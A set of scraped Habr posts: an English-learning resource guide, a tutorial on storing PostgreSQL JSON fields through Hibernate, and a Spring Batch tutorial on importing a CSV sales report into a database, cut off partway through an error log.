**Upd.2** — изменил название, чтобы с уважаемого [torkve](http://habrahabr.ru/users/torkve/) не [слетала шляпа](http://habrahabr.ru/post/146394/#comment_4933565). Изначальная версия выглядела следующим образом: «Используя MooTools начата разработка фреймворка для мобильных устройств — Moobile». | https://habr.com/ru/post/146394/ | null | ru | null |
# How to learn English
One one hand I don't want to be the final authority, but on the other hand, I'd like to share my point of view on how to learn English. The English language is not secret knowledge; it is just a lot of hard training. One of the most important bullets is constantly improving English. You should do it from day to day if you want to approach result. It must not loathe torture for you, It means that you should find out something interesting in that process.
Let's begin
===========
Vocabulary, grammar, reading & audition are possible to train at home without a teacher. It depends on your patience, determination & systematicity. Let's go to tools.
1. **Vocabulary**:
* [lingualeo.com](https://lingualeo.com). It is a great service with good enough web user interface & mobile applications. I use it for improving passive vocabulary (from texts & videos).
* However, some persons prefer Anki or [quizlet](https://quizlet.com/230973999/toefl-flash-cards/).
* Dictionaries:
+ You can use [multitran](https://www.multitran.ru/c/m.exe?l1=2&l2=1&s=) for translating idioms.
+ It's a great idea to use [cambridge](https://dictionary.cambridge.org/) dictionary for checking words meanings.
+ Also, [urban dictionary](https://www.urbandictionary.com) can show new meanings.
2. **Audition**: (without subs!!!):
* Series [Extr@ English](https://www.youtube.com/playlist?list=PL0FGv16ltX9NPty8Jad6BTq8yClsJDA-m). On one hand, it is dumb as a tree, but on the over hand, it's really easy to understand.
* Youtube channels
+ [Dmitry More](https://www.youtube.com/channel/UCSmQIHN7QmKoAOSxRehAYVw) — how to learn English.
+ [Movie English](https://www.youtube.com/channel/UC8Io7LK1rOICcXJh4Y4LUTg) — learn English through movies.
+ [TEDx talks](https://www.youtube.com/channel/UCsT0YIqwnpJCM-mx7-gSA4Q)
+ [Matt D'Avella](https://www.youtube.com/channel/UCJ24N4O0bP7LGLBDvye7oCA)
* Podcasts
+ [English made simple](https://www.englishmadesimple.net/podcast/) & [iTunes](https://itunes.apple.com/ru/podcast/english-made-simple-podcast-english-podcast-aprender/id1094817727?mt=2).
+ [English second language podcast](https://www.eslpod.com) & [iTunes](https://itunes.apple.com/us/podcast/english-as-second-language-esl-podcast-learn-english/id75908431?mt=2) & [rutracker](https://rutracker.org/forum/viewtopic.php?t=4885469). I listened to `English café` only.
+ [BBC, 6 minutes English](http://www.bbc.co.uk/learningenglish/english/features/6-minute-english).
+ [Luke’s English Podcast](https://teacherluke.co.uk/).
+ [Giant robots smashing into other giant robots](http://giantrobots.fm/).
+ [Software engineering daily podcast](https://softwareengineeringdaily.com/).
+ [The bike shed podcast](http://bikeshed.fm/).
* There are a lot of free different audiobooks at [openculture](http://www.openculture.com/freeaudiobooks).
3. **Speaking**:
* [lyricstraining.com](https://lyricstraining.com/) I don't sure that it's possible to really improve your English, However, you can try to catch English pace & word stresses.
* [Sounds American](https://www.youtube.com/channel/UC-MSYk9R94F3TMuKAnQ7dDg) — how to pronounce.
4. **Reading**: just read. I found out that it's really easy to read Harry Potter.
5. **Grammar**:
* On one hand, [lingualeo.com](https://lingualeo.com) has some grammar courses, but on the other hand, it's not enough.
* You should write a diary, it might be a private diary.
This tools will not help you if you do nothing with it. If you work hard then few months or years later, as a result, you should have big enough passive vocabulary & be able to understand the English voice. The main idea of that stage is that you must do something constantly every day & it should be interesting for you.
Show must go on
===============
At the next stage, I suppose that you would like to improve your speaking. First of all, you should convert thoughts into English speech(**not translate!!!**). How to deal with it?
1. You have to read, read a lot, really a lot.
2. You should write, i.e. private diary. You can use [grammarly](https://app.grammarly.com/) for checking your texts.
3. **Speak**.
**Q:** Is it possible to speak English without speaking?
**A:** No.
Well, you can read & write at home without help, but for speaking you must talk. There are some services for that, i.e. [preply](https://preply.com), [skyeng](https://skyeng.ru/), [italki](https://www.italki.com/), etc. From my point of view, at the beginning you don't have to speak with a native speaker, it's ok just talk with somebody with C2 level.
Conclusion
==========
How to learn continuously? It's a sophisticated question. I use something like GTD/S.M.A.R.T.
1. Goals have to be **S**pecific **M**easurable **A**ssignable **R**elevant **T**ime-based:
* I will read Harry Potter book to the end of the current month.
* I'm listening English made simple podcast №100 during today commute.
2. I don't have enough time for that. Don't be a lier.
* You commute by subway – do X tasks at lingualeo.
* You go to walk with children or cycle – listen to podcasts.
* You cook dinner — watch extr@ English.
3. Don't wait for a result after 1 week/month, don't compare yourself with another, just learn.
P.S.
====
No pain, no gain.
* It is [crosspost](http://www.goncharov.xyz/life/how-to-english-en.html)
* [Russian version](http://www.goncharov.xyz/life/how-to-english.html)
**English learn story**When I was in primary school, I visited a private English coach for a year or two. However, there were no major results. A bit later, there were English lessons, when I was in secondary school, unfortunately, I was not really good in English learning. As a result, when I had graduated from school, I heard that grammar exist, could not talk at all, was able to read with a dictionary. When I was studying at a university, I had been involved in IT, so I started to read IT docs in English. Sometimes, I used to do it with a dictionary.
Just before I graduate, I had applied for international IT company. It was funny & frightful. I had to talk & chat with workmates during the day, so my English was improving forcedly & sharply. i.e.
* My workmate stay with me & my during week or two.
* I [visited the UK by a car](http://www.goncharov.xyz/life/UK-trip-by-car.html).
* I called to DataCenter & talked with Indian support.
As a result, I finished English intermediate course in 2011. However, I decided to resign in 2012 and applied for a new job without sufficient English practise.
In 2017 I applied for an international IT company and started an intermediate course again… On one hand It was strange because I finished it 6 years ago, but on the other hand, I finished it without any major efforts. However, I've been doing English tasks myself. i.e.:
* I read books(I've read 10 books(all Harry Potter, DevOps handbooks etc) since last year).
* I write articles/docs(not really a lot, but it is).
* I listen to podcasts, watch movies without subs.
* I learn online with a native teacher.
* I used to spend about 20 hours per week for English learning.
**How to estimate your level**One of the bests ways is to go to an English school, usually, they can estimate your level for free before a course. However, there are a lot of online tests:
* [BRITISH COUNCIL](https://learnenglish.britishcouncil.org/content)
* [KAPLAN](https://www.kaplaninternational.com/free-english-test-online)
* [EDUCATION FIRST](https://www.ef.ru/test3/#/)
* [ITALKI (OXFORD PLACEMENT TEST)](https://www.italki.com/p/oet)
* [CAMBRIDGE ENGLISH WRITE & IMPROVE](https://writeandimprove.com/)
The main problem is that there are no free online audition tests. | https://habr.com/ru/post/437928/ | null | en | null |
# Hibernate и PostgreSQL JSON Type
Привет хабр! В этой статье не будет глубокого анализа json типа в PostgreSQL или очередных ~~бесполезных~~ попыток сравнить данную возможность PostgreSQL с NoSQL базами данных типа MongoDB. Я просто расскажу про то, как использовать Hibernate и PostgreSQL json. Думаю кому-нибудь это может оказаться полезно.
#### Объект внутри сущности
Предположим у вас есть реляционная модель данных. Вполне может возникнуть ситуация, что для некоторых из сущностей необходимо хранить какой либо объект(документ, если хотите). Конечно можно расширить для этого объекта модель данных одной(а может и несколькими) сущностью, или просто хранить этот объект в виде массива байт. Но у PostgreSQL уже достаточно давно появился тип данных [json](http://www.postgresql.org/docs/9.3/static/datatype-json.html) способный хранить json объект в соответствии с [RFC 4627](http://www.ietf.org/rfc/rfc4627.txt). Стало интересно, как это можно использовать, и какие возможности это может дать. При первом обращении к [google](http://google.com) я нашел несколько неструктурированных постов и Q&A которые что-то объясняли, но не давали полной картины. Немного потыкавшись и разобравшись что к чему, я пришел к выводу что использование этих полей очень удобно, и решил создать [маленькую библиотечку](https://github.com/bazar-nazar/pgjson), которая упростит использование json типов. Ниже я расскажу как ей пользоваться, ну и еще немного сравнения с первыми приходящими на ум альтернативами.
#### Диалект
Конечно же ни о какой поддержке данного типа в стандартном диалекте и речь не идет. Очень хотелось бы что бы hibernate сам распознавал тип и осуществлял валидацию/обновление схемы. Поэтому библиотека содержит диалект JsonPostgreSQLDialect расширяющий PostgreSQL9Dialect. Просто используйте этот диалект в вашем persistance.xml.
#### Объект для хранения
Хранить в json поле можно как объект, так и просто Map. Если вы хотите хранить объект, то достаточно унаследовать классом который вы собираетесь хранить PGJsonObject
```
public class CacheObject extends PGJsonObject {
...
}
```
и сделать с помощью аннотаций определение типа в вашей Entity:
```
@Entity
@TypeDefs({@TypeDef( name= "JsonObject", typeClass = CacheObject.class)})
public class Product {
...
@Type(type = "JsonObject")
public CacheObject getCache() {
return cache;
}
}
```
Если это ломает вашу схему наследования, вы можете создать отдельный от вашего класса для хранения, класс отвечающий за тип. Он будет наследовать все тот же PGJsonObject, и должен переопределять метод returnedClass(), в котором будет возвращать класс объекта который вы хотите хранить. Этот класс потом нужно будет использовать в вашей Entity для определения типа.
```
public class JsonCustomType extends PGJsonObject {
@Override
public Class returnedClass() {
return Custom.class;
}
}
```
Тогда определение типа в Entity будет выглядеть так:
```
@Entity
@TypeDefs({@TypeDef( name= "JsonObject", typeClass = JsonCustomType.class)})
public class Product {
...
@Type(type = "JsonObject")
public Custom getCustom() {
return custom;
}
}
```
Если же вы собрались хранить Map, то просто используйте уже имеющийся в библиотеке тип JsonMapType.
#### Рекомендации
* Будьте внимательны с изменением данных объекта. Если объект, что вы храните не immutable то любые изменения что вы в нем сделаете, будут сохранены в базу(конечно если транзакция не откатиться), так что если вы не хотите сохранять изменения, делайте копию
* Проверьте ваши нативные запросы. Убедитесь, что в них указывается ваша Entity
#### Преимущества JSON поля
Сразу на ум приходит 2 альтернативные реализации
* Расширить схему БД для объекта
* хранить массив байт
Первый вариант может очень сильно усложнить вашу модель данных, в случае если объект имеет глубокую иерархию. Если объект хранит большой массив, например массив точек, то таблица с точками может иметь огромное количество записей, что может замедлить выборку. Так же при таком варианте приложение должно знать все о схеме данных, что бы вытащить их из таблицы.
Во втором варианте не требуется расширения схемы, но информация хранящаяся в данном поле абсолютно не репрезентативная и не индексируемая. И как и в предыдущем случае приложение должно знать о структуре хранящихся данных, только на этот раз уже для правильной десериализации.
При использовании json поля вся информация в базе представлена в удобном читаемом виде. Так же блягодаря [json functions](http://www.postgresql.org/docs/9.3/static/functions-json.html) в PostgreSQL можно писать удобные native query для выборки по определенным полям json-объекта. А благодаря [expression indexes](http://www.postgresql.org/docs/8.1/static/indexes-expressional.html) вы можете повесить индекс на любое поле вашего json-объекта.
Так же использование json полей может послужить большим подспорьем в задачах по интеграции. Сохраняя в одном месте в json поле объект, в другом вы можете вытаскивать из него Map, и наоборот. Если вы знаете только часть структуры объекта, вы можете десериализовать только известную и нужную вам часть json-объекта в java-объект, а остальную либо игнорировать, либо десериализовать опять же в Map.
Исходный код проекта можно найти на [github](https://github.com/bazar-nazar/pgjson). Пока что проект сырой. Надеюсь в будущем упростить использование, ввести аннотации. | https://habr.com/ru/post/234841/ | null | ru | null |
# Как упростить пакетную обработку данных со Spring Batch
##### Евгений Тришечкин
Ведущий Java разработчик
***Добрый день! Меня зовут Евгений Тришечкин, я ведущий Java разработчик ростовского офиса компании Usetech. Сегодня я хочу рассказать вам о том, как упростить пакетную обработку данных со Spring Batch и приведу несколько примеров. Статья рассчитана на новичков, которые не работали с этой средой, но опытные специалисты могут рассказать о том, как они используют Spring Batch. Итак, начнём.***
Введение:
---------
**Spring Batch** — это среда, созданная для пакетной обработки больших объёмов данных. В основе Spring Batch лежит понятие задания (Job). Каждое задание может состоять из нескольких этапов (Step). Этап в свою очередь может быть либо фрагментом произвольного кода (Tasklet), либо иметь более сложную структуру, состоящую из считывателей элементов (ItemReader), обработчиков элементов (ItemProcessor) и записывателей элементов (ItemWriter).
Рассмотрим конкретную бизнес-задачу — загрузку отчёта о продажах из csv файла в базу данных. Для простоты решим, что историчность данных нам не важна и файл отчёта является накопительным. Под заданием в данном случае понимается последовательность шагов:
1. Удаление ранее загруженных данных.
2. Загрузка всех строк из файла отчёта.
Второй шаг в свою очередь подразумевает парсинг каждой строки отчета и преобразование её в сущность (POJO), валидацию сущностей на предмет ошибок и запись каждой сущности как отдельной строки в базу данных.
Для создания каркаса будущего приложения воспользуемся [сервисом](https://start.spring.io/).
Перейдём по ссылке и заполним метаданные будущего проекта:
Далее в этом же окне выберем зависимости, которые потребуются для реализации логики:
Далее сгенерируем и сохраним проект.
Как было написано выше, каждая строка отчета будет трансформирована в Java объект, поэтому нам нужно создать класс **SalesReportItem** в одном пакете со сгенерированным классом SpringBatchDemoApplication со следующим исходным кодом:
```
package ru.usetech.springbatchdemo;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import lombok.ToString;
import java.math.BigDecimal;
@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class SalesReportItem {
// регион
private Long regionId;
// точка продаж
private Long outletId;
// Сумма выручки от продажи смартфонов, карт памяти и ноутбуков
private BigDecimal smartphones;
private BigDecimal memoryCards;
private BigDecimal notebooks;
// Суммарная выручка по точке продаж
private BigDecimal total;
}
```
Фрагмент csv файла отчета выглядит так:
> 1|102|9589|4894|4955
>
> 1|103|831|2637|126
>
> 1|104|9343|963|3130
>
>
Поля отчёта будут проецироваться на соответствующие поля класса **SalesReportItem**:
> regionId|outletId|smartphones|memoryCards|notebooks
>
>
Видно, что в отчёте нет значения для поля total, суммарное значение по каждой точке продаж мы вычислим в момент загрузки отчёта. Также в момент загрузки отчёта будет выполнена валидация значений. В реальных отчётах валидация может содержать сложную логику, в этом примере для простоты мы будем проверять, что сумма выручки не является отрицательной величиной. Признаком некорректного значения в строке отчёта будет возникновение исключения **IncorrectValueException** с кодом:
```
package ru.usetech.springbatchdemo;
public class IncorrectValueException extends RuntimeException {
}
Основной конфигурационный файл проекта имеет следующий код:
package ru.usetech.springbatchdemo;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.batch.core.Job;
import org.springframework.batch.core.Step;
import org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;
import org.springframework.batch.core.configuration.annotation.JobBuilderFactory;
import org.springframework.batch.core.configuration.annotation.StepBuilderFactory;
import org.springframework.batch.core.configuration.annotation.StepScope;
import org.springframework.batch.core.launch.support.RunIdIncrementer;
import org.springframework.batch.core.step.tasklet.Tasklet;
import org.springframework.batch.item.ItemProcessor;
import org.springframework.batch.item.database.JdbcBatchItemWriter;
import org.springframework.batch.item.database.builder.JdbcBatchItemWriterBuilder;
import org.springframework.batch.item.file.FlatFileItemReader;
import org.springframework.batch.item.file.builder.FlatFileItemReaderBuilder;
import org.springframework.batch.repeat.RepeatStatus;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ClassPathResource;
import org.springframework.jdbc.core.JdbcTemplate;
import javax.sql.DataSource;
import java.math.BigDecimal;
@Configuration
@EnableBatchProcessing //(1)
public class BatchConfig {
private static final Log log = LogFactory.getLog(BatchConfig.class);
@Bean // (2)
public Tasklet clearTableTasklet(JdbcTemplate jdbcTemplate) {
return (stepContribution, chunkContext) -> {
log.info("Очистка таблицы sales_report");
jdbcTemplate.update("delete from sales_report");
return RepeatStatus.FINISHED;
};
}
@Bean //(3)
public Step setupStep(Tasklet clearTableTasklet,
StepBuilderFactory stepBuilderFactory) {
return stepBuilderFactory.get("clear-report-table")
.tasklet(clearTableTasklet)
.build();
}
```
```
@Bean // (4)
public Step loadCsvStep(StepBuilderFactory stepBuilderFactory,
FlatFileItemReader csvReader,
ItemProcessor totalCalculatingProcessor,
JdbcBatchItemWriter dbWriter) {
return stepBuilderFactory.get("load-csv-file")
.chunk(10) // (5)
.faultTolerant()
.skip(IncorrectValueException.class) // (6)
.skipLimit(3) // (7)
.reader(csvReader) // (8)
.processor(totalCalculatingProcessor) // (9)
.writer(dbWriter) // (10)
.build();
}
```
```
@Bean
@StepScope // (11)
public FlatFileItemReader csvReader() {
return new FlatFileItemReaderBuilder().name("csv-reader")
.resource(new ClassPathResource("report\_data.csv"))
.targetType(SalesReportItem.class)
.delimited()
.delimiter("|")
.names("regionId", "outletId", "smartphones", "memoryCards", "notebooks").build();
}
```
```
@Bean // (12)
public ItemProcessor totalCalculatingProcessor() {
return item -> {
if (BigDecimal.ZERO.compareTo(item.getSmartphones()) > 0
|| BigDecimal.ZERO.compareTo(item.getMemoryCards()) > 0
|| BigDecimal.ZERO.compareTo(item.getNotebooks()) > 0) {
throw new IncorrectValueException();
}
item.setTotal(BigDecimal.ZERO.add(item.getSmartphones())
.add(item.getMemoryCards()
.add(item.getNotebooks())));
return item;
};
}
```
```
@Bean // (13)
public JdbcBatchItemWriter dbWriter(DataSource dataSource) {
return new JdbcBatchItemWriterBuilder()
.dataSource(dataSource)
.sql("insert into sales\_report (region\_id, outlet\_id, smartphones, memory\_cards, notebooks, total) " +
"values (:regionId, :outletId, :smartphones, :memoryCards, :notebooks, :total)")
.beanMapped()
.build();
}
```
```
@Bean // (14)
public Job importReportJob(JobBuilderFactory jobBuilderFactory,
Step setupStep,
Step loadCsvStep,
ReportImportListener reportImportListener) {
return jobBuilderFactory.get("import-report-job")
.incrementer(new RunIdIncrementer())
.listener(reportImportListener) // (15)
.start(setupStep)
.next(loadCsvStep)
.build();
}
}
```
**Маркерами отмечены основные моменты:**
**(1)** @EnableBatchProcessing — аннотация, активирующая многие функции экосистемы Spring Batch, в частности конфигурирует фабрики JobBuilderFactory и StepBuilderFactory, создает реестр заданий и многие другие инфраструктурные элементы.
**(2)** Создание тасклета, т.е. произвольного кода, который будет выполнен на первом этапе загрузки отчёта. Этот код, как видно, удаляет все существующие данные в таблице отчёта.
**(3)** Создание первого шага обработки отчёта на основе тасклета.
**(4)** Создание второго шага, непосредственной загрузки данных отчёта из файла.
**(5)** Здесь задаётся размер порции данных. То есть количество строк отчёта, обработка которых считается неделимой операцией и коммитится. Обработка данных порциями имеет много преимуществ, например, загрузка может выполняться в несколько потоков, где каждый поток будет обрабатывать свою порцию данных. Если загрузка отчёта была прервана в результате возникшей ошибки, то повторный перезапуск после исправления входного файла позволит не загружать ранее загруженные порции.
**(6) — (7)** Это относится к валидации строк отчёта, задаём, что исключение IncorrectValueException, которое мы создали ранее, не приведёт к падению загрузки отчёта, если оно возникло не более трёх раз.
**(8) — (10)** Задаём считыватель данных из файла, обработчик и записыватель данных в БД.
**(11)** Считыватель данных. Тут мы воспользовались готовым классом FlatFileItemReader из библиотеки Spring Batch. В комплект поставки Spring Batch входит множество различных считывателей, позволяющих загружать данные из курсоров БД, из JSON файлов, из топиков Kafka и др. Также можно написать свой считыватель, реализовав интерфейс ItemReader.
**(12)** Процессор данных, реализующий функциональный интерфейс ItemProcessor. В нашем примере процессор выполняет валидацию значений и вычисляет суммарную выручку по точке продаж.
**(13)** Записыватель данных, который отображает каждый объект POJO в строку в базе данных.
**(14)** Создание объекта задания (Job), состоящего из последовательности двух шагов.
**(15)** Слушатель, отслеживающий этапы жизненного цикла задания.
Исходный код слушателя представлен ниже:
```
package ru.usetech.springbatchdemo;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.batch.core.BatchStatus;
import org.springframework.batch.core.JobExecution;
import org.springframework.batch.core.listener.JobExecutionListenerSupport;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Service;
@Service
public class ReportImportListener extends JobExecutionListenerSupport {
private static final Log log = LogFactory.getLog(ReportImportListener.class);
private final JdbcTemplate jdbcTemplate;
public ReportImportListener(JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
@Override
public void afterJob(JobExecution jobExecution) {
if(jobExecution.getStatus() == BatchStatus.COMPLETED) {
log.info("Отчёт загружен в базу данных");
logAll();
}
}
@Override
public void beforeJob(JobExecution jobExecution) {
log.info("Данные в таблице до загрузки отчёта");
logAll();
}
private void logAll() {
jdbcTemplate.query("SELECT region_id, outlet_id, smartphones, memory_cards, notebooks, total FROM sales_report",
(rs, row) -> new SalesReportItem(
rs.getLong(1),
rs.getLong(2),
rs.getBigDecimal(3),
rs.getBigDecimal(4),
rs.getBigDecimal(5),
rs.getBigDecimal(6))
).forEach(log::info);
}
}
```
Слушатель реализует **два метода**:
1. beforeJob — выполняется перед выполнением задания и отображает содержимое таблицы отчёта до загрузки.
2. afterJob — выполняется после выполнения задания и также выводит содержимое таблицы отчёта.
Для запуска нашего Spring Batch задания потребуется создать ещё несколько файлов ресурсов:
application.yml с настройками подключения к in memory базе данных:
```
spring:
datasource:
url: jdbc:h2:mem:mydb
username: sales
password: sales
driverClassName: org.h2.Driver
```
schema-all.sql — скрипт создания таблицы отчета sales\_report:
```
CREATE TABLE IF NOT EXISTS sales_report
(
region_id BIGINT,
outlet_id BIGINT,
smartphones NUMBER,
memory_cards NUMBER,
notebooks NUMBER,
total NUMBER
);
```
data.sql — данные начальной инициализации таблицы отчёта (для имитации наличия данных перед началом загрузки отчёта):
**insert into** sales\_report (*region\_id*, *outlet\_id*, *smartphones*, *memory\_cards*, *notebooks*, *total*) **values** (1, 121, 2365, 4377, 9256, 15998);
**insert into** sales\_report (*region\_id*, *outlet\_id*, *smartphones*, *memory\_cards*, *notebooks*, *total*) **values** (1, 122, 9589, 4894, 4955, 19438);
**insert into** sales\_report (*region\_id*, *outlet\_id*, *smartphones*, *memory\_cards*, *notebooks*, *total*) **values** (2, 233, 6836, 5318, 9563, 21717);
report\_data.csv — тестовый файл отчёта:
> 1|101|2365|4377|-9256
>
> 1|102|9589|4894|4955
>
> 1|103|831|2637|126
>
> 1|104|9343|963|3130
>
> 1|105|8764|2605|985
>
> 1|106|4886|2789|5797
>
> 1|107|8201|9634|291
>
> 1|108|3287|-4926|2015
>
> 1|109|5411|9759|8777
>
> 1|110|2092|52|8092
>
> 2|201|4933|1308|4011
>
> 2|202|7868|2806|3763
>
> 2|203|6836|5318|9563
>
> 2|204|5085|-675|5987
>
> 2|205|7362|4139|5800
>
> 2|206|4729|554|7194
>
> 2|207|4112|3782|8052
>
> 2|208|4146|5560|2037
>
> 2|209|8435|2201|4973
>
> 2|210|1424|9298|4993
>
>
Обратим внимание, что три строки отчёта содержат некорректные отрицательные значения.
Теперь всё готово, чтобы запустить наше Spring Boot приложение. Запускаем его в IDE и наблюдаем результат выполнения задания в логе:
> 2022-04-29 01:28:14.066 INFO 7381 --- [ main] o.s.b.a.b.JobLauncherApplicationRunner : Running default command line with: []
>
> 2022-04-29 01:28:14.112 INFO 7381 --- [ main] o.s.b.c.l.support.SimpleJobLauncher : Job: [SimpleJob: [name=import-report-job]] launched with the following parameters: [{run.id=1}]
>
> 2022-04-29 01:28:14.127 INFO 7381 --- [ main] r.u.s.ReportImportListener : Данные в таблице до загрузки отчёта
>
> 2022-04-29 01:28:14.147 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=121, smartphones=2365, memoryCards=4377, notebooks=9256, total=15998)
>
> 2022-04-29 01:28:14.147 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=122, smartphones=9589, memoryCards=4894, notebooks=4955, total=19438)
>
> 2022-04-29 01:28:14.147 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=233, smartphones=6836, memoryCards=5318, notebooks=9563, total=21717)
>
> 2022-04-29 01:28:14.153 INFO 7381 --- [ main] o.s.batch.core.job.SimpleStepHandler : Executing step: [clear-report-table]
>
> 2022-04-29 01:28:14.162 INFO 7381 --- [ main] ru.usetech.springbatchdemo.BatchConfig : Очистка таблицы sales\_report
>
> 2022-04-29 01:28:14.169 INFO 7381 --- [ main] o.s.batch.core.step.AbstractStep : Step: [clear-report-table] executed in 16ms
>
> 2022-04-29 01:28:14.176 INFO 7381 --- [ main] o.s.batch.core.job.SimpleStepHandler : Executing step: [load-csv-file]
>
> 2022-04-29 01:28:14.244 INFO 7381 --- [ main] o.s.batch.core.step.AbstractStep : Step: [load-csv-file] executed in 68ms
>
> 2022-04-29 01:28:14.247 INFO 7381 --- [ main] r.u.s.ReportImportListener : Отчёт загружен в базу данных
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=102, smartphones=9589, memoryCards=4894, notebooks=4955, total=19438)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=103, smartphones=831, memoryCards=2637, notebooks=126, total=3594)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=104, smartphones=9343, memoryCards=963, notebooks=3130, total=13436)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=105, smartphones=8764, memoryCards=2605, notebooks=985, total=12354)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=106, smartphones=4886, memoryCards=2789, notebooks=5797, total=13472)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=107, smartphones=8201, memoryCards=9634, notebooks=291, total=18126)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=109, smartphones=5411, memoryCards=9759, notebooks=8777, total=23947)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=110, smartphones=2092, memoryCards=52, notebooks=8092, total=10236)
>
> 2022-04-29 01:28:14.249 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=201, smartphones=4933, memoryCards=1308, notebooks=4011, total=10252)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=202, smartphones=7868, memoryCards=2806, notebooks=3763, total=14437)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=203, smartphones=6836, memoryCards=5318, notebooks=9563, total=21717)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=205, smartphones=7362, memoryCards=4139, notebooks=5800, total=17301)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=206, smartphones=4729, memoryCards=554, notebooks=7194, total=12477)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=207, smartphones=4112, memoryCards=3782, notebooks=8052, total=15946)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=208, smartphones=4146, memoryCards=5560, notebooks=2037, total=11743)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=209, smartphones=8435, memoryCards=2201, notebooks=4973, total=15609)
>
> 2022-04-29 01:28:14.250 INFO 7381 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=210, smartphones=1424, memoryCards=9298, notebooks=4993, total=15715)
>
> 2022-04-29 01:28:14.252 INFO 7381 --- [ main] o.s.b.c.l.support.SimpleJobLauncher : Job: [SimpleJob: [name=import-report-job]] completed with the following parameters: [{run.id=1}] and the following status: [COMPLETED] in 125ms
>
>
В сообщениях лога видно, что перед стартом задания таблица sales\_report содержала 3 записи по точкам продаж 121, 122 и 233. Далее была выполнена очистка таблицы, загрузка отчёта и было выведено содержимое таблицы отчёта после загрузки. Видно, что данные по точкам 121, 122 и 233 отсутствуют, а также отсутствуют данные по точкам 101, 108 и 204, потому что они содержали некорректные значения и не были загружены.
Теперь попробуем изменить какую-нибудь строку во входном файле, чтобы ошибочных строк было больше трёх и запустить задание снова.
> 2022-04-29 01:29:11.070 INFO 7482 --- [ main] o.s.b.a.b.JobLauncherApplicationRunner : Running default command line with: []
>
> 2022-04-29 01:29:11.114 INFO 7482 --- [ main] o.s.b.c.l.support.SimpleJobLauncher : Job: [SimpleJob: [name=import-report-job]] launched with the following parameters: [{run.id=1}]
>
> 2022-04-29 01:29:11.128 INFO 7482 --- [ main] r.u.s.ReportImportListener : Данные в таблице до загрузки отчёта
>
> 2022-04-29 01:29:11.149 INFO 7482 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=121, smartphones=2365, memoryCards=4377, notebooks=9256, total=15998)
>
> 2022-04-29 01:29:11.149 INFO 7482 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=1, outletId=122, smartphones=9589, memoryCards=4894, notebooks=4955, total=19438)
>
> 2022-04-29 01:29:11.149 INFO 7482 --- [ main] r.u.s.ReportImportListener : SalesReportItem(regionId=2, outletId=233, smartphones=6836, memoryCards=5318, notebooks=9563, total=21717)
>
> 2022-04-29 01:29:11.156 INFO 7482 --- [ main] o.s.batch.core.job.SimpleStepHandler : Executing step: [clear-report-table]
>
> 2022-04-29 01:29:11.164 INFO 7482 --- [ main] ru.usetech.springbatchdemo.BatchConfig : Очистка таблицы sales\_report
>
> 2022-04-29 01:29:11.170 INFO 7482 --- [ main] o.s.batch.core.step.AbstractStep : Step: [clear-report-table] executed in 14ms
>
> 2022-04-29 01:29:11.177 INFO 7482 --- [ main] o.s.batch.core.job.SimpleStepHandler : Executing step: [load-csv-file]
>
> 2022-04-29 01:29:11.241 ERROR 7482 --- [ main] o.s.batch.core.step.AbstractStep : Encountered an error executing step load-csv-file in job import-report-job
>
>
>
> org.springframework.batch.core.step.skip.SkipLimitExceededException: Skip limit of '3' exceeded
>
> at org.springframework.batch.core.step.skip.LimitCheckingItemSkipPolicy.shouldSkip(LimitCheckingItemSkipPolicy.java:133) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.skip.ExceptionClassifierSkipPolicy.shouldSkip(ExceptionClassifierSkipPolicy.java:70) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
